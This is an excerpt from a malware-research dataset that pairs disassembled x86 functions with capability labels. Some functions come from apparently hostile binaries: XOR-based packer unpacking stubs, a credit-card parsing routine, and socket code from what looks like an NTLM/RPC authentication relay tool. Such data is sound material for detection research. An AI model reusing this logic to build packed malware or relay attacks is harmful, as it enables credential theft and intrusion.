joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5047b3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
sub esp, 0x28
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0xc], 0
mov eax, 1
mov dword [ebp - 0x28], 1
mov eax, 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [0x5489f0]
dec eax
mov edx, eax
mov eax, dword [0x5489ec]
add eax, edx
mov dword [ebp - 0x30], eax
jmp 0x504971
call fcn.00504317
xor al, 1
cmp eax, 0
je 0x504813
jmp 0x50497a
mov eax, dword [0x5489ec]
mov edi, dword [0x5489f0]
dec edi
mov al, byte [eax + edi]
mov byte [ebp - 0x2c], al
mov al, byte [ebp - 0x2c]
cmp al, 0x3c
jne 0x504838
mov dword [ebp - 0xc], 1
jmp 0x504971
mov al, byte [ebp - 0x2c]
cmp al, 0x30
jb 0x504848
mov al, byte [ebp - 0x2c]
cmp al, 0x39
ja 0x504848
jmp 0x50484c
xor eax, eax
jmp 0x50484f
xor eax, eax
inc eax
cmp eax, 0
je 0x504881
mov eax, dword [ebp - 0x10]
push edx
mov edx, 0xa
mov ecx, edx
imul ecx
pop edx
mov dword [ebp - 0x10], eax
mov al, byte [ebp - 0x2c]
sub al, 0x30
mov edx, eax
mov eax, dword [ebp - 0x10]
and edx, 0xff
add eax, edx
mov dword [ebp - 0x10], eax
jmp 0x504971
mov al, byte [ebp - 0x2c]
cmp al, 0x3b
jne 0x5048a9
mov eax, dword [ebp - 0x10]
xchg edx, eax
mov eax, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
dec edi
mov dword [eax + edi*4], edx
mov eax, 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
mov al, byte [ebp - 0x2c]
cmp al, 0x40
jb 0x5048c7
mov al, byte [ebp - 0x2c]
cmp al, 0x7e
ja 0x5048c7
mov al, byte [ebp - 0x2c]
cmp al, 0x3c
je 0x5048c7
mov al, byte [ebp - 0x2c]
cmp al, 0x5b
je 0x5048c7
jmp 0x5048cb
xor eax, eax
jmp 0x5048ce
xor eax, eax
inc eax
cmp eax, 0
je 0x504965
mov eax, dword [ebp - 0x10]
xchg edx, eax
mov eax, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
dec edi
mov dword [eax + edi*4], edx
mov eax, 0
mov dword [ebp - 0x10], 0
mov al, byte [ebp - 0x2c]
cmp al, 0x4d
je 0x50491c
cmp al, 0x6d
je 0x504935
cmp al, 0x52
je 0x50494e
mov eax, dword [0x5489f0]
dec eax
mov edx, eax
mov eax, dword [0x5489ec]
add eax, edx
push eax
push dword [ebp - 0x30]
call fcn.00504552
jmp 0x504960
mov eax, dword [ebp - 0x28]
cmp eax, 3
jne 0x504933
push dword [ebp - 0x24]
push 0
push dword [ebp - 0xc]
call fcn.00504348
jmp 0x504960
mov eax, dword [ebp - 0x28]
cmp eax, 3
jne 0x50494c
push dword [ebp - 0x24]
push 1
push dword [ebp - 0xc]
call fcn.00504348
jmp 0x504960
mov eax, dword [ebp - 0x28]
cmp eax, 2
jne 0x504960
push dword [ebp - 0x24]
call fcn.0050452d
jmp 0x50497a
mov al, byte [ebp - 0x2c]
cmp al, 0x1b
jne 0x504971
jmp 0x50497a
xor eax, eax
inc eax
jne 0x504800
leave
ret
Function at 0x507d4e
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
sub esp, 0x24
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add eax, edx
mov dword [ebp + 8], eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004429fd
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
and edx, 0xff
cmp eax, 0x5b
je 0x507d8b
mov eax, 0
jmp 0x50867e
mov eax, 1
mov dword [ebp - 0x10], 1
mov eax, 1
mov dword [ebp - 0x14], 1
mov eax, 0
mov dword [ebp - 0x18], 0
mov eax, 0
mov dword [ebp - 0x1c], 0
mov eax, 0
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add eax, edx
mov dword [ebp + 8], eax
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
Function at 0x51317d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
sub esp, 0x10
mov eax, 0
mov dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
push 1
push dword [0x548e30]
push dword [0x515008]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, eax
mov eax, 0
cmp eax, edx
jne 0x5131c2
mov eax, 0xffffffff
jmp 0x513304
mov eax, dword [0x548e30]
mov al, byte [eax]
and eax, 0xff
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
and eax, 0x80
cmp eax, 0
jne 0x5131ee
mov eax, 1
mov dword [ebp - 0x14], 1
jmp 0x513253
mov eax, dword [ebp - 0x10]
and eax, 0xe0
cmp eax, 0xc0
jne 0x51320b
mov eax, 2
mov dword [ebp - 0x14], 2
jmp 0x513253
mov eax, dword [ebp - 0x10]
and eax, 0xf0
cmp eax, 0xe0
jne 0x513228
mov eax, 3
mov dword [ebp - 0x14], 3
jmp 0x513253
mov eax, dword [ebp - 0x10]
and eax, 0xf8
cmp eax, 0xf0
jne 0x513245
mov eax, 4
mov dword [ebp - 0x14], 4
jmp 0x513253
call fcn.0051324a
Function at 0x51372e
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
sub esp, 0x18
push 0
call dword [sym.imp.MSVCRT.DLL_fflush]
add esp, 4
mov eax, dword [ebp + 0xc]
push edx
mov edx, dword [0x548e88]
mov ecx, edx
cdq
idiv ecx
pop edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
push edx
mov edx, dword [0x548e88]
mov ecx, edx
cdq
idiv ecx
mov eax, edx
bt eax, 0x1f
jae 0x513777
bt ecx, 0x1f
jae 0x513775
neg ecx
add eax, ecx
pop edx
mov dword [ebp - 0xc], eax
push dword [ebp + 8]
call fcn.00513a0d
cmp eax, 0
je 0x51379d
mov eax, dword [0x548e88]
mov edx, dword [ebp - 0xc]
sub eax, edx
cmp eax, 1
jne 0x51379d
jmp 0x5137a1
xor eax, eax
jmp 0x5137a4
xor eax, eax
inc eax
cmp eax, 0
je 0x5137be
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, 0
mov dword [ebp - 0xc], 0
mov eax, 0
mov edx, dword [ebp - 0xc]
cmp eax, edx
jne 0x5137d6
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
cmp eax, edx
jne 0x5137d6
jmp 0x5137da
xor eax, eax
jmp 0x5137dd
xor eax, eax
inc eax
cmp eax, 0
je 0x513809
mov eax, 0
mov dword [ebp - 0x20], 0
push 0
lea eax, [ebp - 0x20]
push eax
push 1
push 0x54aef0
push dword [0x515004]
call dword [sym.imp.KERNEL32.DLL_WriteConsoleW]
mov eax, dword [0x548ea0]
and eax, 0xffff
mov dword [ebp - 0x1c], eax
mov eax, dword [0x548ea0]
shr eax, 0x10
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
add eax, edx
shl eax, 0x10
mov edx, dword [ebp - 0xc]
or eax, edx
push eax
push dword [0x515004]
call dword [sym.imp.KERNEL32.DLL_SetConsoleCursorPosition]
mov eax, dword [ebp + 0x10]
push edx
mov edx, dword [0x548e88]
mov ecx, edx
cdq
idiv ecx
pop edx
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [0x548e8c]
mov edx, dword [ebp - 0x18]
sub eax, edx
mov edx, eax
mov eax, dword [ebp - 0x20]
sub eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0
jle 0x5138a1
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
sub eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0
jge 0x513891
mov eax, 0
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
shl eax, 0x10
mov edx, dword [ebp - 0x1c]
or eax, edx
mov dword [0x548ea0], eax
mov eax, dword [ebp + 0x10]
push edx
mov edx, dword [0x548e88]
mov ecx, edx
cdq
idiv ecx
pop edx
mov edx, eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov dword [0x548e34], eax
leave
ret 0xc
Function at 0x513d8a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
sub esp, 0xc
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
and eax, 0x1f
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, 2
jge 0x513dc5
mov eax, 2
mov dword [ebp - 0xc], 2
push dword [ebp + 8]
call fcn.004425f7
push eax
push dword [ebp + 0xc]
call fcn.004425f7
pop edx
xchg edx, eax
add eax, edx
push eax
push dword [ebp - 0xc]
pop eax
bsr eax, eax
pop edx
xchg edx, eax
mov cl, dl
shl eax, cl
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
shl eax, 2
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [0x548e84]
cmp eax, edx
jle 0x513e67
mov eax, dword [ebp - 0x14]
shl eax, 1
mov dword [0x548e84], eax
push dword [0x548e3c]
call dword [sym.imp.MSVCRT.DLL_free]
add esp, 4
push dword [0x548e84]
call dword [sym.imp.MSVCRT.DLL_malloc]
add esp, 4
mov dword [0x548e3c], eax
mov eax, 0
mov edx, dword [0x548e3c]
cmp eax, edx
jne 0x513e67
push 0
push dword [ebp - 0x14]
push 2
push 0
push str.Cannot_allocate_memory:_init_buffer:
push 6
push 0x18
lea esi, [esp + 4]
push esi
push 2
call fcn.004219c6
push 0
call dword [sym.imp.MSVCRT.DLL_exit]
add esp, 4
mov eax, dword [0x548e3c]
mov dword [0x548e40], eax
leave
ret 8

Function at 0x514d45
Capabilities:
Set console window title
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
sub esp, 8
push dword [ebp + 8]
call fcn.00442639
push eax
call dword [sym.imp.KERNEL32.DLL_SetConsoleTitleA]
mov dword [ebp - 0xc], eax
mov eax, 0
mov edx, dword [ebp - 0xc]
cmp eax, edx
jne 0x514d8f
push 0
push str.SetConsoleTitle_failed_
push 6
push 0xc
lea esi, [esp + 4]
push esi
push 1
call fcn.004219c6
push 0
call dword [sym.imp.MSVCRT.DLL_exit]
add esp, 4
call fcn.00513929
call fcn.005139ec
push 5
push dword [0x547984]
call fcn.0044c49f
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 8]
mov edx, eax
mov eax, 0
cmp eax, edx
je 0x514dd5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov edx, eax
mov eax, 0
cmp eax, edx
je 0x514dd5
xor eax, eax
jmp 0x514dd8
xor eax, eax
inc eax
cmp eax, 0
je 0x514dfd
mov eax, 0x50
xchg edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], edx
mov eax, 0x32
xchg edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0xc], edx
leave
ret 4

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp int.00401219
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..idata
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x431072
mov ebx, 0x40915c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3fd924d3
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x431060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x40bb40d2
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4310c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x66a8777a
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x4e8e4bca
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4017f0
Capabilities:
Decode data using base64 via winapi
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.00417ee0
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x2014], eax
mov esi, ecx
mov eax, dword [ebp + 0xc]
push edi
mov edi, edx
mov dword [ebp - 0x2010], eax
xor eax, eax
mov dword [ebp - 0x200c], 0x4d4c544e
xor edx, edx
mov byte [ebp - 0x2008], 0x20
test edi, edi
jle 0x40185c
nop dword [eax + eax]
mov cl, byte [edx + esi]
cmp cl, byte [ebp + eax - 0x200c]
jne 0x401852
inc eax
cmp eax, 5
je 0x401859
inc edx
cmp edx, edi
jl 0x401840
jmp 0x40185c
lea eax, [edx + 1]
push ebx
xor ebx, ebx
cmp eax, edi
jge 0x401888
lea edx, [ebp - 0x2004]
sub edx, eax
nop dword [eax + eax]
mov cl, byte [eax + esi]
cmp cl, 0xd
jne 0x40187f
cmp byte [eax + esi + 1], 0xa
je 0x401888
mov byte [edx + eax], cl
inc ebx
inc eax
cmp eax, edi
jl 0x401870
mov eax, dword [ebp - 0x2010]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x2000
push 8
mov dword [eax], 0x2000
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
push dword [ebp - 0x2010]
mov esi, eax
lea eax, [ebp - 0x2004]
push esi
push 1
push ebx
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
pop ebx
test eax, eax
je 0x401901
mov edi, dword [ebp - 0x2014]
push 0x2000
push 0
push edi
call fcn.00405090
mov eax, dword [ebp - 0x2010]
push dword [eax]
push esi
push edi
call fcn.004064f0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
call fcn.00403ad0
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CryptStringToBinaryA_failed_with_error_code__d
call fcn.00401050
add esp, 8
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0xffffffffffffffff
call fcn.00406d6b
int3

Function at 0x401930
Capabilities:
Encode data using base64 via winapi
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 0x2000
push 8
mov edi, edx
mov dword [esi], 0x2000
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push eax
push 0x40000001
push edi
push ebx
mov dword [ebp + 8], eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
pop edi
pop esi
pop ebx
test eax, eax
je 0x401975
mov eax, dword [ebp + 8]
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CryptBinaryToStringA_failed_with_error_code__d
call fcn.00401050
add esp, 8
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0xffffffffffffffff
call fcn.00406d6b
int3
Function at 0x4020a0
Capabilities:
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c4
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x1c0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 0
push eax
push 0x202
mov ebx, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402207
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x1cc], eax
lea eax, [esp + 0x1c4]
movlpd qword [esp + 0x24], xmm0
push ebx
push eax
movlpd qword [esp + 0x34], xmm0
mov dword [esp + 0x20], 2
mov dword [esp + 0x24], 1
mov dword [esp + 0x28], 6
mov dword [esp + 0x1c], 1
movq qword [esp + 0x1cc], xmm0
call fcn.0040abbc
add esp, 0xc
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c8]
push eax
push 0
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x40221c
mov eax, dword [esp + 0xc]
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x402237
mov eax, dword [esp + 0xc]
push dword [eax + 0x10]
push dword [eax + 0x18]
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x402262
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push ebx
push str.___RPC_relay_server_listening_on_port__S_..._n
call fcn.00401050
add esp, 8
push bind
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x402294
push 0
push 0
push esi
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4021db
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.accept_failed_with_error:__d_n
jmp 0x4022a0
push ebx
push str.___Received_the_relayed_authentication_on_the_RPC_relay_server_on_port__S_n
call fcn.00401050
add esp, 8
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x1cc]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00403ad0
mov esp, ebp
pop ebp
ret
push eax
push str.WSAStartup_failed_with_error:__d_n
call fcn.00401050
add esp, 8
push 0xffffffffffffffff
call fcn.00406d6b
push eax
push str.getaddrinfo_failed_with_error:__d_n
call fcn.00401050
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xffffffffffffffff
call fcn.00406d6b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.socket_failed_with_error:__ld_n
call fcn.00401050
add esp, 8
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xffffffffffffffff
call fcn.00406d6b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.bind_failed_with_error:__d_n
call fcn.00401050
add esp, 8
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xffffffffffffffff
call fcn.00406d6b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.listen_failed_with_error:__d_n
call fcn.00401050
add esp, 8
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xffffffffffffffff
call fcn.00406d6b
int3
Function at 0x4022c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1e8
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x1e4], eax
push esi
push edi
lea eax, [esp + 0x20]
mov dword [esp + 8], edx
push eax
mov esi, ecx
push 0x202
mov dword [esp + 0x14], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402321
push eax
push str.WSAStartup_function_failed_with_error:__d_n
call fcn.00401010
add esp, 8
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x1e4]
xor ecx, esp
call fcn.00403ad0
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402367
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.socket_function_failed_with_error:__ld_n
call fcn.00401010
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x1e4]
xor ecx, esp
call fcn.00403ad0
mov esp, ebp
pop ebp
ret
push 0xc
push dword [esp + 0xc]
lea eax, [esp + 0x1bc]
mov dword [esp + 0x1c4], 0
xorps xmm0, xmm0
push eax
movq qword [esp + 0x1c0], xmm0
call fcn.0040abbc
add esp, 0xc
mov dword [esp + 0x1d0], 0
lea eax, [esp + 0x1c0]
xorps xmm0, xmm0
movaps xmmword [esp + 0x1c0], xmm0
push 0x14
push esi
push eax
call fcn.0040abbc
add esp, 0xc
lea eax, [esp + 0x1b4]
push eax
call fcn.0040b520
mov esi, eax
add esp, 4
mov eax, 2
mov word [esp + 0x10], ax
lea eax, [esp + 0x1c0]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40244f
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
push eax
push str.CreateRPCSocketReflect:_connect_function_failed_with_error:__ld_n
call fcn.00401010
push dword [esp + 0x10]
push dword [esp + 0x18]
push str.Couldnt_connect_to_RPC_Server__S_on_port__S_n
call fcn.00401050
add esp, 0x14
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x402348
call esi
push eax
push str.closesocket_function_failed_with_error:__ld_n
jmp 0x402340
push dword [esp + 8]
push dword [esp + 0x10]
push str.___Connected_to_RPC_Server__S_on_port__S_n
call fcn.00401050
mov ecx, dword [esp + 0x1f8]
add esp, 0xc
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.00403ad0
mov esp, ebp
pop ebp
ret